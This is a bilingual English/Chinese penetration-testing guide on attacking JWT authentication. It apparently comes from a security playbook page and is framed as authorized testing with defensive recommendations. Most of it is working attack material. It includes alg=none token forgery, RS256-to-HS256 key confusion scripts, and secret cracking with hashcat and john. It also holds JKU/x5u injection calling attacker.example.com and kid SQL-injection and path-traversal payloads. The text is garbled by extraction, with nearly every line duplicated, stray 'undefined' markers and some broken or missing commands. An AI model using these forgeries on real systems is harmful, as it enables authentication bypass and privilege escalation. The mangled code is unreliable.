testing-jwt-token-security

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing JWT Token Security

JWT令牌安全性测试

When to Use

适用场景

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication
  • 在授权渗透测试期间,当应用使用JWT进行身份验证或授权时
  • 评估以Bearer令牌或Cookie形式传递JWT的API安全性时
  • 评估使用JWT/JWS/JWE令牌的SSO实现时
  • 测试颁发JWT的OAuth 2.0或OpenID Connect流程时
  • 在使用JWT进行服务间身份验证的微服务架构安全审计期间

Prerequisites

前置条件

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (
    pip install jwt_tool
    or
    git clone https://github.com/ticarpi/jwt_tool.git
    )
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (
    pip install pyjwt
    )
  • Hashcat: For brute-forcing HMAC secrets (
    apt install hashcat
    )
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application
  • 授权:针对目标的书面渗透测试协议
  • jwt_tool:JWT攻击工具包(
    pip install jwt_tool
    git clone https://github.com/ticarpi/jwt_tool.git
  • Burp Suite Professional:安装BApp Store中的JSON Web Token扩展
  • Python PyJWT:用于编写自定义JWT攻击脚本(
    pip install pyjwt
  • Hashcat:用于暴力破解HMAC密钥(
    apt install hashcat
  • jq:用于JSON处理
  • 目标JWT:来自目标应用的有效JWT令牌

Workflow

测试流程

Step 1: Decode and Analyze the JWT Structure

步骤1:解码并分析JWT结构

Extract and examine the header, payload, and signature components.
bash
undefined
提取并检查头部、负载和签名组件。
bash
undefined

Decode JWT parts (base64url decode)

Decode JWT parts (base64url decode)

JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

Decode header

Decode header

echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .

Output: {"alg":"HS256","typ":"JWT"}

Output: {"alg":"HS256","typ":"JWT"}

Decode payload

Decode payload

echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

Using jwt_tool for comprehensive analysis

Using jwt_tool for comprehensive analysis

python3 jwt_tool.py "$JWT"
python3 jwt_tool.py "$JWT"

Check for sensitive data in the payload:

Check for sensitive data in the payload:

- PII (email, phone, address)

- PII (email, phone, address)

- Internal IDs or database references

- Internal IDs or database references

- Role/permission claims

- Role/permission claims

- Expiration times (exp, nbf, iat)

- Expiration times (exp, nbf, iat)

- Issuer (iss) and audience (aud)

- Issuer (iss) and audience (aud)

undefined
undefined

Step 2: Test Algorithm None Attack

步骤2:测试无算法攻击

Attempt to forge tokens by setting the algorithm to "none".
bash
undefined
尝试通过将算法设置为"none"来伪造令牌。
bash
undefined

jwt_tool algorithm none attack

jwt_tool algorithm none attack

python3 jwt_tool.py "$JWT" -X a
python3 jwt_tool.py "$JWT" -X a

Manual none algorithm attack

Manual none algorithm attack

Create header: {"alg":"none","typ":"JWT"}

Create header: {"alg":"none","typ":"JWT"}

HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

Create modified payload (change role to admin)

Create modified payload (change role to admin)

PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

Construct token with empty signature

Construct token with empty signature

FORGED_JWT="${HEADER}.${PAYLOAD}." echo "Forged JWT: $FORGED_JWT"
FORGED_JWT="${HEADER}.${PAYLOAD}." echo "Forged JWT: $FORGED_JWT"

Test the forged token

Test the forged token

curl -s -H "Authorization: Bearer $FORGED_JWT"
"https://target.example.com/api/admin/users" | jq .
curl -s -H "Authorization: Bearer $FORGED_JWT"
"https://target.example.com/api/admin/users" | jq .

Try variations: "None", "NONE", "nOnE"

Try variations: "None", "NONE", "nOnE"

for alg in none None NONE nOnE; do HEADER=$(echo -n "{"alg":"$alg","typ":"JWT"}" | base64 | tr -d '=' | tr '+/' '-_') FORGED="${HEADER}.${PAYLOAD}." echo -n "alg=$alg: " curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
undefined
for alg in none None NONE nOnE; do HEADER=$(echo -n "{"alg":"$alg","typ":"JWT"}" | base64 | tr -d '=' | tr '+/' '-_') FORGED="${HEADER}.${PAYLOAD}." echo -n "alg=$alg: " curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
undefined

Step 3: Test Algorithm Confusion (RS256 to HS256)

步骤3:测试算法混淆(RS256转HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.
bash
undefined
如果服务器使用RS256,尝试切换为HS256并使用公钥签名。
bash
undefined

Step 1: Obtain the server's public key

Step 1: Obtain the server's public key

Check common locations

Check common locations

Step 2: Extract public key from JWKS

Step 2: Extract public key from JWKS

Save the JWKS and convert to PEM format

Save the JWKS and convert to PEM format

Use jwt_tool or openssl

Use jwt_tool or openssl

Step 3: jwt_tool key confusion attack

Step 3: jwt_tool key confusion attack

python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

Manual algorithm confusion attack with Python

Manual algorithm confusion attack with Python

python3 << 'PYEOF' import jwt import json
python3 << 'PYEOF' import jwt import json

Read the server's RSA public key

Read the server's RSA public key

with open('public_key.pem', 'r') as f: public_key = f.read()
with open('public_key.pem', 'r') as f: public_key = f.read()

Create forged payload

Create forged payload

payload = { "sub": "1234567890", "name": "Admin User", "role": "admin", "iat": 1516239022, "exp": 9999999999 }
payload = { "sub": "1234567890", "name": "Admin User", "role": "admin", "iat": 1516239022, "exp": 9999999999 }

Sign with HS256 using the RSA public key as the HMAC secret

Sign with HS256 using the RSA public key as the HMAC secret

forged_token = jwt.encode(payload, public_key, algorithm='HS256') print(f"Forged token: {forged_token}") PYEOF
forged_token = jwt.encode(payload, public_key, algorithm='HS256') print(f"Forged token: {forged_token}") PYEOF

Test the forged token

Test the forged token

curl -s -H "Authorization: Bearer $FORGED_TOKEN"
"https://target.example.com/api/admin/users"
undefined
curl -s -H "Authorization: Bearer $FORGED_TOKEN"
"https://target.example.com/api/admin/users"
undefined

Step 4: Brute-Force HMAC Secret

步骤4:暴力破解HMAC密钥

If HS256 is used, attempt to crack the signing secret.
bash
undefined
如果使用HS256,尝试破解签名密钥。
bash
undefined

Using jwt_tool with common secrets

Using jwt_tool with common secrets

python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

Using hashcat for GPU-accelerated cracking

Using hashcat for GPU-accelerated cracking

Mode 16500 = JWT (HS256)

Mode 16500 = JWT (HS256)

hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

Using john the ripper

Using john the ripper

echo "$JWT" > jwt_hash.txt john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
echo "$JWT" > jwt_hash.txt john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

If secret is found, forge arbitrary tokens

If secret is found, forge arbitrary tokens

python3 << 'PYEOF' import jwt
secret = "cracked_secret_here" payload = { "sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999 } token = jwt.encode(payload, secret, algorithm='HS256') print(f"Forged token: {token}") PYEOF
undefined
python3 << 'PYEOF' import jwt
secret = "cracked_secret_here" payload = { "sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999 } token = jwt.encode(payload, secret, algorithm='HS256') print(f"Forged token: {token}") PYEOF
undefined

Step 5: Test JWT Claim Manipulation and Injection

步骤5:测试JWT声明篡改与注入

Modify JWT claims to escalate privileges or bypass authorization.
bash
undefined
修改JWT声明以提升权限或绕过授权。
bash
undefined

Using jwt_tool for claim tampering

Using jwt_tool for claim tampering

Change role claim

Change role claim

python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret"
-pc role -pv admin
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret"
-pc role -pv admin

Test common claim attacks:

Test common claim attacks:

1. JKU (JWK Set URL) injection

1. JKU (JWK Set URL) injection

python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"

Host attacker-controlled JWKS at the URL

Host attacker-controlled JWKS at the URL

2. KID (Key ID) injection

2. KID (Key ID) injection

SQL injection in kid parameter

SQL injection in kid parameter

python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""

If kid is used in file path lookup, point to /dev/null (empty key)

If kid is used in file path lookup, point to /dev/null (empty key)

SQL injection via kid

SQL injection via kid

python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

3. x5u (X.509 URL) injection

3. x5u (X.509 URL) injection

python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

4. Modify subject and role claims

4. Modify subject and role claims

python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
undefined
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
undefined

Step 6: Test Token Lifetime and Revocation

步骤6:测试令牌生命周期与吊销

Assess token expiration enforcement and revocation capabilities.
bash
undefined
评估令牌过期规则执行和吊销能力。
bash
undefined

Test expired token acceptance

Test expired token acceptance

python3 << 'PYEOF' import jwt import time
secret = "known_secret"
python3 << 'PYEOF' import jwt import time
secret = "known_secret"

Create token that expired 1 hour ago

Create token that expired 1 hour ago

payload = { "sub": "user123", "role": "user", "exp": int(time.time()) - 3600, "iat": int(time.time()) - 7200 } expired_token = jwt.encode(payload, secret, algorithm='HS256') print(f"Expired token: {expired_token}") PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
payload = { "sub": "user123", "role": "user", "exp": int(time.time()) - 3600, "iat": int(time.time()) - 7200 } expired_token = jwt.encode(payload, secret, algorithm='HS256') print(f"Expired token: {expired_token}") PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"

Test token with far-future expiration

Test token with far-future expiration

python3 << 'PYEOF' import jwt
secret = "known_secret" payload = { "sub": "user123", "role": "user", "exp": 32503680000 # Year 3000 } long_lived = jwt.encode(payload, secret, algorithm='HS256') print(f"Long-lived token: {long_lived}") PYEOF
python3 << 'PYEOF' import jwt
secret = "known_secret" payload = { "sub": "user123", "role": "user", "exp": 32503680000 # Year 3000 } long_lived = jwt.encode(payload, secret, algorithm='HS256') print(f"Long-lived token: {long_lived}") PYEOF

Test token reuse after logout

Test token reuse after logout

1. Capture JWT before logout

1. Capture JWT before logout

2. Log out (call /auth/logout)

2. Log out (call /auth/logout)

3. Try using the captured JWT again

3. Try using the captured JWT again

curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"

If 200, tokens are not revoked on logout

If 200, tokens are not revoked on logout

Test token reuse after password change

Test token reuse after password change

Similar test: capture JWT, change password, reuse old JWT

Similar test: capture JWT, change password, reuse old JWT

undefined
undefined

Key Concepts

核心概念

ConceptDescription
Algorithm None AttackRemoving signature verification by setting
alg
to
none
Algorithm ConfusionSwitching from RS256 to HS256 and signing with the public key as HMAC secret
HMAC Brute ForceCracking weak HS256 signing secrets using wordlists or brute force
JKU/x5u InjectionPointing JWT header URLs to attacker-controlled key servers
KID InjectionExploiting SQL injection or path traversal in the Key ID header parameter
Claim TamperingModifying payload claims (role, sub, permissions) after compromising the signing key
Token RevocationThe ability (or inability) to invalidate tokens before their expiration
JWE vs JWSJSON Web Encryption (confidentiality) vs JSON Web Signature (integrity)
概念描述
无算法攻击通过将
alg
设置为
none
来绕过签名验证
算法混淆从RS256切换到HS256,并使用公钥作为HMAC密钥进行签名
HMAC暴力破解使用词表或暴力破解方式破解弱HS256签名密钥
JKU/x5u注入将JWT头部中的URL指向攻击者控制的密钥服务器
KID注入利用Key ID头部参数中的SQL注入或路径遍历漏洞
声明篡改在获取签名密钥后修改负载声明(角色、用户标识、权限)
令牌吊销在令牌过期前使其失效的能力(或缺乏该能力)
JWE vs JWSJSON Web加密(保密性)与JSON Web签名(完整性)

Tools & Systems

工具与系统

ToolPurpose
jwt_toolComprehensive JWT testing toolkit with automated attack modules
Burp JWT EditorBurp Suite extension for real-time JWT manipulation
HashcatGPU-accelerated HMAC secret brute-forcing (mode 16500)
John the RipperCPU-based JWT secret cracking
PyJWTPython library for programmatic JWT creation and manipulation
jwt.ioOnline JWT decoder for quick analysis (do not paste production tokens)
工具用途
jwt_tool功能全面的JWT测试工具包,包含自动化攻击模块
Burp JWT EditorBurp Suite扩展,用于实时JWT篡改
HashcatGPU加速的HMAC密钥暴力破解工具(模式16500)
John the Ripper基于CPU的JWT密钥破解工具
PyJWT用于程序化创建和篡改JWT的Python库
jwt.io在线JWT解码器,用于快速分析(请勿粘贴生产环境令牌)

Common Scenarios

常见场景

Scenario 1: Algorithm None Bypass

场景1:无算法绕过

The JWT library accepts
"alg":"none"
tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
JWT库接受
"alg":"none"
令牌,允许任何用户通过移除签名并修改算法头部来伪造管理员令牌。

Scenario 2: Weak HMAC Secret

场景2:弱HMAC密钥

The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
应用使用HS256算法,且签名密钥为字典中的常见词汇。Hashcat可在数分钟内破解密钥,实现完全令牌伪造和管理员身份冒充。

Scenario 3: Algorithm Confusion on SSO

场景3:SSO上的算法混淆

An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
SSO提供商使用RS256算法,但消费端应用也接受HS256算法。攻击者使用公开可用的RSA公钥,通过HS256算法对伪造令牌进行签名。

Scenario 4: KID SQL Injection

场景4:KID SQL注入

The
kid
header parameter is used in a SQL query to look up signing keys. Injecting
' UNION SELECT 'attacker_secret' --
allows the attacker to control the signing key.
kid
头部参数用于SQL查询以查找签名密钥。注入
' UNION SELECT 'attacker_secret' --
可让攻击者控制签名密钥。

Output Format

输出格式

undefined
undefined

JWT Security Finding

JWT Security Finding

Vulnerability: JWT Algorithm Confusion (RS256 to HS256) Severity: Critical (CVSS 9.8) Location: Authorization header across all API endpoints OWASP Category: A02:2021 - Cryptographic Failures
Vulnerability: JWT Algorithm Confusion (RS256 to HS256) Severity: Critical (CVSS 9.8) Location: Authorization header across all API endpoints OWASP Category: A02:2021 - Cryptographic Failures

JWT Configuration

JWT Configuration

PropertyValue
AlgorithmRS256 (also accepts HS256)
Issuerauth.target.example.com
Expiration24 hours
Public KeyAvailable at /.well-known/jwks.json
RevocationNot implemented
PropertyValue
AlgorithmRS256 (also accepts HS256)
Issuerauth.target.example.com
Expiration24 hours
Public KeyAvailable at /.well-known/jwks.json
RevocationNot implemented

Attacks Confirmed

Attacks Confirmed

AttackResult
Algorithm NoneBlocked
Algorithm Confusion (RS256→HS256)VULNERABLE
HMAC Brute ForceN/A (RSA)
KID InjectionNot present
Expired Token ReuseAccepted (no revocation)
AttackResult
Algorithm NoneBlocked
Algorithm Confusion (RS256→HS256)VULNERABLE
HMAC Brute ForceN/A (RSA)
KID InjectionNot present
Expired Token ReuseAccepted (no revocation)

Impact

Impact

  • Complete authentication bypass via forged admin tokens
  • Any user can escalate to any role by forging JWT claims
  • Tokens remain valid after logout (no server-side revocation)
  • Complete authentication bypass via forged admin tokens
  • Any user can escalate to any role by forging JWT claims
  • Tokens remain valid after logout (no server-side revocation)

Recommendation

Recommendation

  1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
  2. Use asymmetric algorithms (RS256/ES256) with proper key management
  3. Implement token revocation via a blocklist or short expiration with refresh tokens
  4. Validate all JWT claims server-side (iss, aud, exp, nbf)
  5. Use a minimum key length of 256 bits for HMAC secrets
undefined
  1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
  2. Use asymmetric algorithms (RS256/ES256) with proper key management
  3. Implement token revocation via a blocklist or short expiration with refresh tokens
  4. Validate all JWT claims server-side (iss, aud, exp, nbf)
  5. Use a minimum key length of 256 bits for HMAC secrets
undefined